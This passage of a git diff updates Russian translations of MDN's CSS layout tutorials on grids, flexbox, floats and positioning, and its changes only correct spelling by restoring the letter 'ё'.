делает использование рамки для сетчатой системы неотразимым выбором!</p> -<p>Skeleton - это более простая сетка, чем некоторые из структур, с которыми вы можете столкнуться. Сетки в больших рамках, таких как Bootstrap и Foundation, предлагают больше функциональности и дополнительные точки останова для различной ширины экрана. Тем не менее, все они работают аналогичным образом - добавив определенные классы в свою разметку, вы можете контролировать, как элемент выложен с использованием предопределенной сетки.</p> +<p>Skeleton - это более простая сетка, чем некоторые из структур, с которыми вы можете столкнуться. Сетки в больших рамках, таких как Bootstrap и Foundation, предлагают больше функциональности и дополнительные точки останова для различной ширины экрана. Тем не менее, все они работают аналогичным образом - добавив определённые классы в свою разметку, вы можете контролировать, как элемент выложен с использованием предопределённой сетки.</p> <h2 id="Родные_CSS_Сетки_с_Grid_Layout">Родные CSS Сетки с Grid Layout</h2> -<p>В начале этой статьи мы сказали, что CSS ранее не имел реальной системы для создания макетов сетки, но это изменится. Хотя мы еще не можем использовать встроенную сетевую систему CSS, в следующем году мы увидим поддержку браузера для модуля компоновки сетки CSS (<a href="https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_Grid_Layout">CSS Grid Layout Module</a>).</p> +<p>В начале этой статьи мы сказали, что CSS ранее не имел реальной системы для создания макетов сетки, но это изменится. Хотя мы ещё не можем использовать встроенную сетевую систему CSS, в следующем году мы увидим поддержку браузера для модуля компоновки сетки CSS (<a href="https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_Grid_Layout">CSS Grid Layout Module</a>).</p> <p>В настоящее время вы можете использовать только те методы, которые мы покажем вам в браузерах, которые реализуют макет сетки CSS «за флагом» - это означает, что он в настоящее время реализован, но в экспериментальном состоянии, которое вам нужно включить.</p> -<p>В Firefox, например, вам нужно перейти к URL-адресу <code>about: config</code>, выполнить поиск по предпочтению <code>layout.css.grid.enabled</code> и дважды щелкнуть его, чтобы включить CSS-сетки. Вы можете узнать, как использовать его в других браузерах, посетив <a href="http://gridbyexample.com/browsers">Grid by Example</a>.</p> +<p>В Firefox, например, вам нужно перейти к URL-адресу <code>about: config</code>, выполнить поиск по предпочтению <code>layout.css.grid.enabled</code> и дважды щёлкнуть его, чтобы включить CSS-сетки. Вы можете узнать, как использовать его в других браузерах, посетив <a href="http://gridbyexample.com/browsers">Grid by Example</a>.</p> -<p>Мы рассмотрели структуру Скелетной сетки выше - как и другие сторонние решетки и даже ручные сетки, для этого требуется добавить <code><div></code> для формирования строк, а затем указать количество столбцов, которые будут охватывать элементы в этих рядах.</p> +<p>Мы рассмотрели структуру Скелетной сетки выше - как и другие сторонние решётки и даже ручные сетки, для этого требуется добавить <code><div></code> для формирования строк, а затем указать количество столбцов, которые будут охватывать элементы в этих рядах.</p> <p>С помощью CSS Grid Layout вы можете полностью указать свою сетку в CSS, не добавляя эти вспомогательные классы в разметку вообще. Давайте рассмотрим наш простой пример и посмотрим, как мы будем создавать тот же макет с помощью CSS Grid Layout.</p> @@ -510,7 +510,7 @@ body { <div class="col span2">16</div> </div></pre> -<p>На этот раз у нас есть родительский <code><div></code> с классом обертки (<code>wrapper</code>), а затем все дочерние элементы просто появляются непосредственно внутри обертки - никаких элементов строки. Мы добавили класс к элементам, которые должны охватывать более одного столбца.</p> +<p>На этот раз у нас есть родительский <code><div></code> с классом обёртки (<code>wrapper</code>), а затем все дочерние элементы просто появляются непосредственно внутри обёртки - никаких элементов строки. Мы добавили класс к элементам, которые должны охватывать более одного столбца.</p> <p>Теперь добавьте следующее в элемент {{htmlelement ("style")}}:</p> @@ -529,7 +529,7 @@ body { <p>Здесь мы устанавливаем правило <code>.wrapper</code>, поэтому оно составляет 90% от ширины тела, с центром и имеет {{cssxref ("max-width")}} 960px.</p> -<p>Теперь для свойств сетки CSS. Мы можем объявить сетку, используя значение <code>grid</code> свойства {{cssxref ("display")}}, установить желоб с свойством {{cssxref ("grid-gap")}}, а затем создать сетку из 12 столбцов равной ширине, используя {{cssxref ("grid-template-columns")}}, новую функцию <code>repeat()</code> и новую единицу, определенную для макета сетки - блок <code>fr</code>.</p> +<p>Теперь для свойств сетки CSS. Мы можем объявить сетку, используя значение <code>grid</code> свойства {{cssxref ("display")}}, установить жёлоб с свойством {{cssxref ("grid-gap")}}, а затем создать сетку из 12 столбцов равной ширине, используя {{cssxref ("grid-template-columns")}}, новую функцию <code>repeat()</code> и новую единицу, определённую для макета сетки - блок <code>fr</code>.</p> <p>Блок <code>fr</code> представляет собой блок фракции - он описывает долю доступного пространства в контейнере сетки. Если все столбцы равны <code>1fr</code>, каждый из них занимает равное количество места. Это устраняет необходимость вычислять проценты для создания гибкой сетки.</p> @@ -567,7 +567,7 @@ body { <p>Попробуйте сохранить и обновить, и вы увидите, что контейнеры охватывают несколько столбцов, если это необходимо. Круто!</p> -<p>Сетки CSS являются <strong>двумерными</strong>, так как макет растет и сжимается, элементы остаются выровненными по горизонтали и по вертикали.</p> +<p>Сетки CSS являются <strong>двумерными</strong>, так как макет растёт и сжимается, элементы остаются выровненными по горизонтали и по вертикали.</p> <p>Вы можете проверить это, заменив последние 4 col <code><div></code> s следующим:</p> @@ -576,14 +576,14 @@ body { <div class="col span3">15this<br>is<br>less</div> <div class="col span2">16</div></pre> -<p>Здесь мы намеренно добавили некоторые фрагменты строки ({{htmlelement ("br")}}), чтобы заставить некоторые из столбцов стать выше других. Если вы попытаетесь сохранить и обновить, вы увидите, что столбцы регулируют их высоту, как самый высокий контейнер, поэтому все остается аккуратным.</p> +<p>Здесь мы намеренно добавили некоторые фрагменты строки ({{htmlelement ("br")}}), чтобы заставить некоторые из столбцов стать выше других. Если вы попытаетесь сохранить и обновить, вы увидите, что столбцы регулируют их высоту, как самый высокий контейнер, поэтому все остаётся аккуратным.</p> <p>Окончательный макет выглядит так:</p> <p><img alt="" src="https://mdn.mozillademos.org/files/13909/css-grid-finished.png" style="display: block; height: 130px; margin: 0px auto; width: 972px;"></p> <div class="note"> -<p><strong>Примечание</strong>: Если вам не удается заставить этот пример работать, вы можете проверить свой код на нашу <a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/grids/css-grid-finished.html">законченную версию</a> (также смотрите, как она <a href="https://mdn.github.io/learning-area/css/css-layout/grids/css-grid-finished.html">работает в прямом эфире</a>).</p> +<p><strong>Примечание</strong>: Если вам не удаётся заставить этот пример работать, вы можете проверить свой код на нашу <a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/grids/css-grid-finished.html">законченную версию</a> (также смотрите, как она <a href="https://mdn.github.io/learning-area/css/css-layout/grids/css-grid-finished.html">работает в прямом эфире</a>).</p> </div> <h3 id="Другие_полезные_функции_сетки_CSS">Другие полезные функции сетки CSS</h3> @@ -609,7 +609,7 @@ body { <p>Нам также не нужно использовать маржу для фальшивых желобов или явно рассчитать их ширину - сетка CSS имеет эту функциональность, встроенную прямо в свойство <code>grid-gap</code>.</p> -<p>Мы просто касаемся поверхности того, что возможно с помощью CSS Grid Layout, но главное, что нужно понять в контексте этой статьи, это то, что вам не нужно создавать сетку с сеткой - она одна. Вы можете написать CSS, который помещает элемент непосредственно в предопределенную сетку. Это первый раз, когда это было возможно с помощью CSS и это улучшится, когда поддержка браузера закрепится.</p> +<p>Мы просто касаемся поверхности того, что возможно с помощью CSS Grid Layout, но главное, что нужно понять в контексте этой статьи, это то, что вам не нужно создавать сетку с сеткой - она одна. Вы можете написать CSS, который помещает элемент непосредственно в предопределённую сетку. Это первый раз, когда это было возможно с помощью CSS и это улучшится, когда поддержка браузера закрепится.</p> <h3 id="Активное_обучение_Напишите_свою_собственную_простую_сетку">Активное обучение: Напишите свою собственную простую сетку</h3> @@ -626,7 +626,7 @@ body { <h2 id="Резюме">Резюме</h2> -<p>Прочитав эту статью, вы должны теперь понять, как grid-схемы и grid-структуры работают в CSS. Вы также заглянули в будущее сетки CSS и теперь должны понимать, что используемые нами grid-сетки - это, по сути, стоп-решение, пока у нас не будет широко распространенного способа достижения этого в CSS.</p> +<p>Прочитав эту статью, вы должны теперь понять, как grid-схемы и grid-структуры работают в CSS. Вы также заглянули в будущее сетки CSS и теперь должны понимать, что используемые нами grid-сетки - это, по сути, стоп-решение, пока у нас не будет широко распространённого способа достижения этого в CSS.</p> <p>{{PreviousMenuNext("Learn/CSS/CSS_layout/Flexbox", "Learn/CSS/CSS_layout/Floats", "Learn/CSS/CSS_layout")}}</p> diff --git a/files/ru/learn/css/css_layout/index.html b/files/ru/learn/css/css_layout/index.html index d5bc2e8e58..1fce962206 100644 --- a/files/ru/learn/css/css_layout/index.html +++ b/files/ru/learn/css/css_layout/index.html @@ -17,7 +17,7 @@ tags: - TopicStub - flexbox - float - - Верстка + - Вёрстка - Сетка - позиционирование - разметка страницы @@ -43,7 +43,7 @@ translation_of: Learn/CSS/CSS_layout <h2 id="Руководство">Руководство</h2> -<p>Эти разделы содержат инструкции по основным инструментам и методам верстки, доступным в CSS. На последнем уроке у Вас будет возможность оценить понимание пройденного материала посредством вёрстки веб-страницы.</p> +<p>Эти разделы содержат инструкции по основным инструментам и методам вёрстки, доступным в CSS. На последнем уроке у Вас будет возможность оценить понимание пройденного материала посредством вёрстки веб-страницы.</p> <dl> <dt><a href="/en-US/docs/Learn/CSS/CSS_layout/Introduction">Введение в CSS вёрстку</a></dt> @@ -54,26 +54,26 @@ translation_of: Learn/CSS/CSS_layout <dl> <dt><a href="https://developer.mozilla.org/en-US/docs/Learn/CSS/CSS_layout/Flexbox">Flexbox</a></dt> - <dd><a href="https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Using_flexbox_to_lay_out_web_applications">Flexbox</a> - это метод одномерной верстки для размещения элементов в строках или столбцах. Элементы растягиваются, чтобы заполнить дополнительное пространство и сжимаются, чтобы поместиться в меньшее пространство. Данный раздел объясняет фундаментальные принципы.</dd> + <dd><a href="https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Using_flexbox_to_lay_out_web_applications">Flexbox</a> - это метод одномерной вёрстки для размещения элементов в строках или столбцах. Элементы растягиваются, чтобы заполнить дополнительное пространство и сжимаются, чтобы поместиться в меньшее пространство. Данный раздел объясняет фундаментальные принципы.</dd> <dt><a href="https://developer.mozilla.org/en-US/docs/Learn/CSS/CSS_layout/Grids">Grids</a></dt> - <dd>CSS Grid Layout - это двумерная система верстки для веб. Она позволяет вам размещать контент в строках и столбцах и имеет множество возможностей, которые упрощают построение сложных макетов. Этот раздел даст вам все, что нужно знать для начала работы с макетом страницы.</dd> + <dd>CSS Grid Layout - это двумерная система вёрстки для веб. Она позволяет вам размещать контент в строках и столбцах и имеет множество возможностей, которые упрощают построение сложных макетов. Этот раздел даст вам все, что нужно знать для начала работы с макетом страницы.</dd> <dt><a href="https://developer.mozilla.org/en-US/docs/Learn/CSS/CSS_layout/Floats">Floats</a></dt> - <dd>Изначально созданное для плавающих изображений внутри текстовых блоков, свойство {{cssxref("float")}} стало одним из наиболее часто используемых инструментов для создания мульти-колоночной верстки веб-страниц. С появлением Flexbox и Grid оно вернулось к первоначальному предназначению, как объясняется в этом разделе.</dd> + <dd>Изначально созданное для плавающих изображений внутри текстовых блоков, свойство {{cssxref("float")}} стало одним из наиболее часто используемых инструментов для создания мульти-колоночной вёрстки веб-страниц. С появлением Flexbox и Grid оно вернулось к первоначальному предназначению, как объясняется в этом разделе.</dd> </dl> <dl> <dt><a href="/en-US/docs/Learn/CSS/CSS_layout/Positioning">Позиционирование</a></dt> <dd>Позиционирование позволяет вам брать элементы из нормального потока и изменять их поведение, например, заставляет находиться друг под другом или всегда оставаться в одном и том же месте внутри окна просмотра браузера. В этом разделе объясняются различные значения {{cssxref("position")}} и способы их применения.</dd> - <dt><a href="https://developer.mozilla.org/en-US/docs/Learn/CSS/CSS_layout/Multiple-column_Layout">Мульти-колоночная верстка</a></dt> - <dd>Спецификация мульти-колоночной верстки дает вам способ размещения содержимого в столбцах по аналогии с версткой газет. Этот раздел объясняет, как использовать эту возможность.</dd> - <dt><a href="https://developer.mozilla.org/en-US/docs/Learn/CSS/CSS_layout/Legacy_Layout_Methods">Устаревшие методы верстки</a></dt> - <dd>Grid-системы - это очень распространенная возможность, используемая в CSS layouts, и до CSS Grid Layout они, как правило, реализовывались с помощью floats или других возможностей верстки. Вы представляете свою верстку в виде заданного числа столбцов (например, 4 или 6), а затем вы помещаете содержимое в эти воображаемые столбцы. В этом разделе мы рассмотрим, как работают эти старые методы, чтобы вы понимали, как они использовались, если столкнётесь со старыми проектами.</dd> + <dt><a href="https://developer.mozilla.org/en-US/docs/Learn/CSS/CSS_layout/Multiple-column_Layout">Мульти-колоночная вёрстка</a></dt> + <dd>Спецификация мульти-колоночной вёрстки даёт вам способ размещения содержимого в столбцах по аналогии с вёрсткой газет. Этот раздел объясняет, как использовать эту возможность.</dd> + <dt><a href="https://developer.mozilla.org/en-US/docs/Learn/CSS/CSS_layout/Legacy_Layout_Methods">Устаревшие методы вёрстки</a></dt> + <dd>Grid-системы - это очень распространённая возможность, используемая в CSS layouts, и до CSS Grid Layout они, как правило, реализовывались с помощью floats или других возможностей вёрстки. Вы представляете свою вёрстку в виде заданного числа столбцов (например, 4 или 6), а затем вы помещаете содержимое в эти воображаемые столбцы. В этом разделе мы рассмотрим, как работают эти старые методы, чтобы вы понимали, как они использовались, если столкнётесь со старыми проектами.</dd> <dt><a href="https://developer.mozilla.org/en-US/docs/Learn/CSS/CSS_layout/Supporting_Older_Browsers">Поддержка старыми браузерами</a></dt> <dd> - <p>В этом модуле мы рекомендуем использовать Flexbox и Grid как основные методы верстки для ваших проектов. Однако, ваш сайт могут посещать со старых браузеров или браузеров, которые не поддерживают данные методы. В сети это будет всегда - по мере появления новых возможностей, для различных браузеров будут приоритетны различные вещи. Этот раздел объясняет, как использовать современные веб-технологии без блокировки пользователей со старыми технологиями.</p> + <p>В этом модуле мы рекомендуем использовать Flexbox и Grid как основные методы вёрстки для ваших проектов. Однако, ваш сайт могут посещать со старых браузеров или браузеров, которые не поддерживают данные методы. В сети это будет всегда - по мере появления новых возможностей, для различных браузеров будут приоритетны различные вещи. Этот раздел объясняет, как использовать современные веб-технологии без блокировки пользователей со старыми технологиями.</p> </dd> - <dt><a href="https://developer.mozilla.org/en-US/docs/Learn/CSS/CSS_layout/Fundamental_Layout_Comprehension">Фундаментальное понятие верстки</a></dt> - <dd>Оценка ваших знаний различных методов верстки посредством вёрстки веб-страницы.</dd> + <dt><a href="https://developer.mozilla.org/en-US/docs/Learn/CSS/CSS_layout/Fundamental_Layout_Comprehension">Фундаментальное понятие вёрстки</a></dt> + <dd>Оценка ваших знаний различных методов вёрстки посредством вёрстки веб-страницы.</dd> </dl> <h2 id="Смотрите_также">Смотрите также</h2> diff --git a/files/ru/learn/css/css_layout/introduction/index.html b/files/ru/learn/css/css_layout/introduction/index.html index 422a215b1c..218e2a5c19 100644 --- a/files/ru/learn/css/css_layout/introduction/index.html +++ b/files/ru/learn/css/css_layout/introduction/index.html @@ -7,7 +7,7 @@ translation_of: Learn/CSS/CSS_layout/Introduction <div>{{NextMenu("Learn/CSS/CSS_layout/Normal_Flow", "Learn/CSS/CSS_layout")}}</div> -<p class="summary">В этой статье мы рассмотрим некоторые функции макета CSS, которые мы затрагивали в предыдущих статьях, например различные значения свойства {{cssxref("display")}}, и разберем некоторые концепции, которые будут рассмотрены в этой статье. </p> +<p class="summary">В этой статье мы рассмотрим некоторые функции макета CSS, которые мы затрагивали в предыдущих статьях, например различные значения свойства {{cssxref("display")}}, и разберём некоторые концепции, которые будут рассмотрены в этой статье. </p> <table class="learn-box standard-table"> <tbody> @@ -35,7 +35,7 @@ translation_of: Learn/CSS/CSS_layout/Introduction <li>Многоколоночный макет</li> </ul> -<p>Каждый метод имеет свои преимущества и недостатки и ни одна техника не предназначена для использования в изоляции от других. Разбирая данные методы, вы поймете, какой из них лучший инструмент разметки для каждой задачи.</p> +<p>Каждый метод имеет свои преимущества и недостатки и ни одна техника не предназначена для использования в изоляции от других. Разбирая данные методы, вы поймёте, какой из них лучший инструмент разметки для каждой задачи.</p> <h2 id="Normal_flow">Normal flow</h2> @@ -63,7 +63,7 @@ translation_of: Learn/CSS/CSS_layout/Introduction <p><strong>Примечание</strong>: Направление, в котором отображается содержимое блока, называется Block Direction. Block Direction вертикально в языках типа Английского, имеющих горизонтальное направление письма. В языках, типа Японского, имеющих вертикальное направление письма, Block Direction горизонтально. Соответствующее Inline Direction отвечает за направление отображения строковых элементов (таких как предложение).</p> </div> -<p>Когда вы используете CSS для создания разметки, вы двигаете элементы относительно их обычного расположения, но для многих элементов на вашей странице их обычное положение - это именно то, что вам подойдет. Именно поэтому важно начинать верстку с создания правильно организованного HTML документа, для того, чтобы базовое расположение элементов впоследствии работало на вас.</p> +<p>Когда вы используете CSS для создания разметки, вы двигаете элементы относительно их обычного расположения, но для многих элементов на вашей странице их обычное положение - это именно то, что вам подойдёт. Именно поэтому важно начинать вёрстку с создания правильно организованного HTML документа, для того, чтобы базовое расположение элементов впоследствии работало на вас.</p> <p>Методы CSS, которыми вы можете управлять разметкой элементов:</p> @@ -77,7 +77,7 @@ translation_of: Learn/CSS/CSS_layout/Introduction <h2 id="Свойство_display">Свойство display </h2> -<p>Значения свойства <code>display</code> являются главными методами верстки разметки страницы в CSS. Это свойство позволяет нам менять то, как что-то отображается по умолчанию. Каждый элемент по умолчанию имеет свойство <code>display</code>, влияющее на то, как этот элемент отображается. Например, параграфы на английском располагаются один под другим только потому что они имеют по умолчанию свойство <code>display: block</code>. Если же вы создадите ссылку внутри параграфа, эта ссылка будет отображаться в общем потоке с остальным текстом, без переноса на новую строку. Это потому что у элемента {{htmlelement("a")}} по умолчанию установлено свойство <code>display: inline</code>.</p> +<p>Значения свойства <code>display</code> являются главными методами вёрстки разметки страницы в CSS. Это свойство позволяет нам менять то, как что-то отображается по умолчанию. Каждый элемент по умолчанию имеет свойство <code>display</code>, влияющее на то, как этот элемент отображается. Например, параграфы на английском располагаются один под другим только потому что они имеют по умолчанию свойство <code>display: block</code>. Если же вы создадите ссылку внутри параграфа, эта ссылка будет отображаться в общем потоке с остальным текстом, без переноса на новую строку. Это потому что у элемента {{htmlelement("a")}} по умолчанию установлено свойство <code>display: inline</code>.</p> <p>Вы можете изменить дефолтное поведение display. К примеру, {{htmlelement("li")}} отображается как <code>display: block</code> по умолчанию, это означает что элементы списка отображаются один за другим в нашем документе.Если мы изменим значение display на <code>inline</code> они будут отображаться друг за другом, как это делают слова в предложении. Тот факт, что вы можете изменить значение display для любого элемента означает, что вы можете выбирать HTML элементы по их семантическому значению, не беспокоясь о том как они будут выглядеть. То как они выглядят это то, что вы можете поменять.</p> @@ -85,7 +85,7 @@ translation_of: Learn/CSS/CSS_layout/Introduction <h2 id="Flexbox">Flexbox</h2> -<p>Flexbox (сокращение от <a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout">Flexible Box Layout</a>) это модуль, разработанный для облегчения верстки в одном из измерений — как ряд или как колонка. Для использования, установите свойство <code>display: flex</code> для родительского элемента тех элементов, к которым хотите применить этот тип верстки; все его прямые потомки станут flex элементами. Рассмотрим это на простом примере.</p> +<p>Flexbox (сокращение от <a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout">Flexible Box Layout</a>) это модуль, разработанный для облегчения вёрстки в одном из измерений — как ряд или как колонка. Для использования, установите свойство <code>display: flex</code> для родительского элемента тех элементов, к которым хотите применить этот тип вёрстки; все его прямые потомки станут flex элементами. Рассмотрим это на простом примере.</p> <p>Разметка HTML, представленная ниже, состоит из элемента <code>wrapper</code>, включающего в себя три {{htmlelement("div")}} элемента. По умолчанию все они будут изображаться как блочные, один под другим.</p> @@ -165,7 +165,7 @@ translation_of: Learn/CSS/CSS_layout/Introduction <p>В то время как flexbox предназначен для одномерной разметки, Grid Layout предназначен для двумерной — выстраивая предметы в ряды и столбцы.</p> -<p>Еще раз, вы можете переключиться на Grid Layout при помощи конкретного значения отображения — <code>display: grid</code>. Пример ниже использует разметку подобную примеру flex, а также мы определяем некоторые дорожки рядов и столбцов в родительском элементе, используя свойства {{cssxref("grid-template-rows")}} и {{cssxref("grid-template-columns")}} соответственно. Мы определили три столбца каждый по <code>1fr</code> и два ряда по <code>100px</code>. Мне не надо вводить какие-либо правила для дочерних элементов; <span class="tlid-translation translation" lang="ru"><span title="">они автоматически помещаются в ячейки, созданные нашей сеткой.</span></span></p> +<p>Ещё раз, вы можете переключиться на Grid Layout при помощи конкретного значения отображения — <code>display: grid</code>. Пример ниже использует разметку подобную примеру flex, а также мы определяем некоторые дорожки рядов и столбцов в родительском элементе, используя свойства {{cssxref("grid-template-rows")}} и {{cssxref("grid-template-columns")}} соответственно. Мы определили три столбца каждый по <code>1fr</code> и два ряда по <code>100px</code>. Мне не надо вводить какие-либо правила для дочерних элементов; <span class="tlid-translation translation" lang="ru"><span title="">они автоматически помещаются в ячейки, созданные нашей сеткой.</span></span></p> <div id="Grid_1"> <div class="hidden"> @@ -255,7 +255,7 @@ translation_of: Learn/CSS/CSS_layout/Introduction <p><strong>Примечание</strong>: Эти два примера всего лишь малая часть мощности Grid layout; чтобы узнать больше см. нашу статью <a href="/en-US/docs/Learn/CSS/CSS_layout/Grids">Grid Layout</a>.</p> </div> -<p>Остальная часть этого руководства освещает другие методы разметок, которые менее важны для основной структуры разметки вашей страницы, но все равно могут помочь вам в достижении определенных задач. Понимая природу задачи каждой разметки, вы вскоре обнаружите, что, глядя на конкретный компонент вашего дизайна, часто будет ясно какой тип разметки подходит лучше всего.</p> +<p>Остальная часть этого руководства освещает другие методы разметок, которые менее важны для основной структуры разметки вашей страницы, но все равно могут помочь вам в достижении определённых задач. Понимая природу задачи каждой разметки, вы вскоре обнаружите, что, глядя на конкретный компонент вашего дизайна, часто будет ясно какой тип разметки подходит лучше всего.</p> <h2 id="Floats">Floats</h2> @@ -266,11 +266,11 @@ translation_of: Learn/CSS/CSS_layout/Introduction <ul> <li><code>left</code> — Элемент выравнивается слева и другие элементы обтекают его справа.</li> <li><code>right</code> — Элемент выравнивается справа и другие элементы обтекают его слева.</li> - <li><code>none</code> — Не задает float совсем. Это значение по умолчанию.</li> + <li><code>none</code> — Не задаёт float совсем. Это значение по умолчанию.</li> <li><code>inherit</code> — Определяет, что значение свойства <code>float</code> должно быть унаследовано от родительского элемента.</li> </ul> -<p>В примере ниже мы задаем элементу <code><div></code> float - left и даем {{cssxref("margin")}} с правой стороны чтобы отталкивать текст от этого элемента. Это дает нам эффект того, что текст оборачивает этот блок <span class="tlid-translation translation" lang="ru"><span title="">и является большей частью того, что вам нужно знать о float, используемых в современном веб-дизайне.</span></span></p> +<p>В примере ниже мы задаём элементу <code><div></code> float - left и даём {{cssxref("margin")}} с правой стороны чтобы отталкивать текст от этого элемента. Это даёт нам эффект того, что текст оборачивает этот блок <span class="tlid-translation translation" lang="ru"><span title="">и является большей частью того, что вам нужно знать о float, используемых в современном веб-дизайне.</span></span></p> <div id="Float_1"> <div class="hidden"> @@ -317,12 +317,12 @@ p { <p>{{ EmbedLiveSample('Float_1', '100%', 600) }}</p> <div class="note"> -<p><strong>Примечание</strong>: Float полностью объяснен в нашем уроке по свойствам <a href="/en-US/docs/Learn/CSS/CSS_layout/Floats">float и clear</a>. До таких методов как Flexbox и Grid Layout, float использовался как метод создания макетов колонок. Вы все еще можете встретить эти методы в интернете; мы рассмотрим их в уроке по <a href="/en-US/docs/Learn/CSS/CSS_layout/Legacy_Layout_Methods">устаревшим методам разметки</a>.</p> +<p><strong>Примечание</strong>: Float полностью объяснён в нашем уроке по свойствам <a href="/en-US/docs/Learn/CSS/CSS_layout/Floats">float и clear</a>. До таких методов как Flexbox и Grid Layout, float использовался как метод создания макетов колонок. Вы все ещё можете встретить эти методы в интернете; мы рассмотрим их в уроке по <a href="/en-US/docs/Learn/CSS/CSS_layout/Legacy_Layout_Methods">устаревшим методам разметки</a>.</p> </div> <h2 id="Методы_позиционирования">Методы позиционирования</h2> -<p>Позиционирование позволяет вам перемещать элементы с места, где бы они располагались при нормальном потоке в другую локацию. Позиционирование не является методом создания основной разметки страницы, <span class="tlid-translation translation" lang="ru"><span title="">это больше об управлении и точной настройке положения определенных элементов на странице.</span></span></p> +<p>Позиционирование позволяет вам перемещать элементы с места, где бы они располагались при нормальном потоке в другую локацию. Позиционирование не является методом создания основной разметки страницы, <span class="tlid-translation translation" lang="ru"><span title="">это больше об управлении и точной настройке положения определённых элементов на странице.</span></span></p> <p>Однако, существуют полезные методы точной разметки шаблонов, которые полагаются на свойство {{cssxref("position")}}. Понимание позиционирования также способствует пониманию нормального потока <span class="tlid-translation translation" lang="ru"><span title=""> и того, что значит вывести элемент из нормального потока.</span></span></p> @@ -331,14 +331,14 @@ p { <ul> <li><strong>Static positioning (статическое позиционирование)</strong> — умолчание, которое получают все элементы — это все лишь значит "поместить элемент в его нормальную позицию в разметке документа — тут нет ничего особенного на что посмотреть".</li> <li><strong>Relative positioning (относительное позиционирование) </strong>позволяет вам менять положение элемента на странице, перемещая его относительно его положения в нормальном потоке — в том числе заставляя его перекрывать другие элементы на странице.</li> - <li><strong>Absolute positioning (абсолютное позиционирование) </strong>полностью перемещает элемент из нормального потока разметки страницы так будто он находится на своем собственном отдельном слое. Оттуда вы можете исправлять его положение относительно краев <code><html></code> элемента страницы (или его ближайшего позиционированного элемента предка). Это является полезным при создании сложных эффектов разметки такие как вкладки, <span class="tlid-translation translation" lang="ru"><span title=""> в которых различные панели содержимого располагаются друг над другом</span></span> и отображаются и/или скрываются по желанию или информационные панели, которые располагаются на экране по умолчанию, но могут скользить по экрану используя кнопки управления.</li> - <li><strong>Fixed positioning (фиксированное позиционирование) </strong>очень похоже на абсолютное за исключением того, что он изменяет положение относительно окна просмотра браузера, а не другого элемента. Это полезно при создании эффектов таких как постоянное меню навигации, которое всегда остается в одном и том же месте на экране, в то время как другой контент прокручивается.</li> - <li><strong>Sticky positioning (липкое позиционирование) </strong>это новый метод позиционирования, который заставляет элемент вести себя как <code>position: static</code> пока не достигнет определенной линии окна просмотра и с этого момента будет вести себя как <code>position: fixed</code>.</li> + <li><strong>Absolute positioning (абсолютное позиционирование) </strong>полностью перемещает элемент из нормального потока разметки страницы так будто он находится на своём собственном отдельном слое. Оттуда вы можете исправлять его положение относительно краёв <code><html></code> элемента страницы (или его ближайшего позиционированного элемента предка). Это является полезным при создании сложных эффектов разметки такие как вкладки, <span class="tlid-translation translation" lang="ru"><span title=""> в которых различные панели содержимого располагаются друг над другом</span></span> и отображаются и/или скрываются по желанию или информационные панели, которые располагаются на экране по умолчанию, но могут скользить по экрану используя кнопки управления.</li> + <li><strong>Fixed positioning (фиксированное позиционирование) </strong>очень похоже на абсолютное за исключением того, что он изменяет положение относительно окна просмотра браузера, а не другого элемента. Это полезно при создании эффектов таких как постоянное меню навигации, которое всегда остаётся в одном и том же месте на экране, в то время как другой контент прокручивается.</li> + <li><strong>Sticky positioning (липкое позиционирование) </strong>это новый метод позиционирования, который заставляет элемент вести себя как <code>position: static</code> пока не достигнет определённой линии окна просмотра и с этого момента будет вести себя как <code>position: fixed</code>.</li> </ul> <h3 id="Пример_простого_позиционирования">Пример простого позиционирования</h3> -<p>Для ознакомления с этими методами верстки, мы покажем вам пару быстрых примеров. Наши примеры будут иметь одинаковый HTML, который выглядит следующим образом:</p> +<p>Для ознакомления с этими методами вёрстки, мы покажем вам пару быстрых примеров. Наши примеры будут иметь одинаковый HTML, который выглядит следующим образом:</p> <pre class="brush: html notranslate"><h1>Positioning</h1> @@ -376,7 +376,7 @@ p { left: 30px; }</pre> -<p>Здесь мы даем нашему среднему параграфу {{cssxref("position")}} со значением <code>relative</code> — сам по себе он ничего не делает, поэтому мы также добавляем свойства {{cssxref("top")}} и {{cssxref("left")}}. Они служат для перемещения задействованного элемента вниз и вправо — что может выглядеть как противоположность тому, чего вы ожидаете, но вам надо думать об этом так будто элемент отталкивается от левого или верхнего края, и в результате он перемещается вправо и вниз.</p> +<p>Здесь мы даём нашему среднему параграфу {{cssxref("position")}} со значением <code>relative</code> — сам по себе он ничего не делает, поэтому мы также добавляем свойства {{cssxref("top")}} и {{cssxref("left")}}. Они служат для перемещения задействованного элемента вниз и вправо — что может выглядеть как противоположность тому, чего вы ожидаете, но вам надо думать об этом так будто элемент отталкивается от левого или верхнего края, и в результате он перемещается вправо и вниз.</p> <p>Добавление этого кода даст следующий результат:</p> @@ -418,7 +418,7 @@ p { <h3 id="Absolute_positioning">Absolute positioning</h3> -<p>Абсолютное (Absolute) позиционирование используется чтобы полностью удалить элемент из нормального потока и разместить его, используя смещение от краев содержащего блока.</p> +<p>Абсолютное (Absolute) позиционирование используется чтобы полностью удалить элемент из нормального потока и разместить его, используя смещение от краёв содержащего блока.</p> <p>Возвращаясь к нашему примеру без позиционирования, мы можем добавить следующее CSS правило, чтобы реализовать абсолютное позиционирование:</p> @@ -428,7 +428,7 @@ p { left: 30px; }</pre> -<p>Здесь мы даем нашему среднему параграфу {{cssxref("position")}} со значением <code>absolute</code>, и все те же свойства {{cssxref("top")}} и {{cssxref("left")}} как ранее. Однако, добавление этого кода даст следующий результат:</p> +<p>Здесь мы даём нашему среднему параграфу {{cssxref("position")}} со значением <code>absolute</code>, и все те же свойства {{cssxref("top")}} и {{cssxref("left")}} как ранее. Однако, добавление этого кода даст следующий результат:</p> <div id="Absolute_1"> <div class="hidden"> @@ -470,7 +470,7 @@ p { <h3 id="Fixed_positioning">Fixed positioning</h3> -<p>Фиксированное (Fixed) позиционирование удаляет наш элемент из потока документа так же, как и абсолютное позиционирование. Однако, вместо смещения применяемого относительно контейнера, оно применяется относительно окна просмотра. Поскольку элемент остается зафиксированным относительно окна просмотра, мы можем создавать такие эффекты как меню, которое остается зафиксированным пока страница прокручивается под ним.</p> 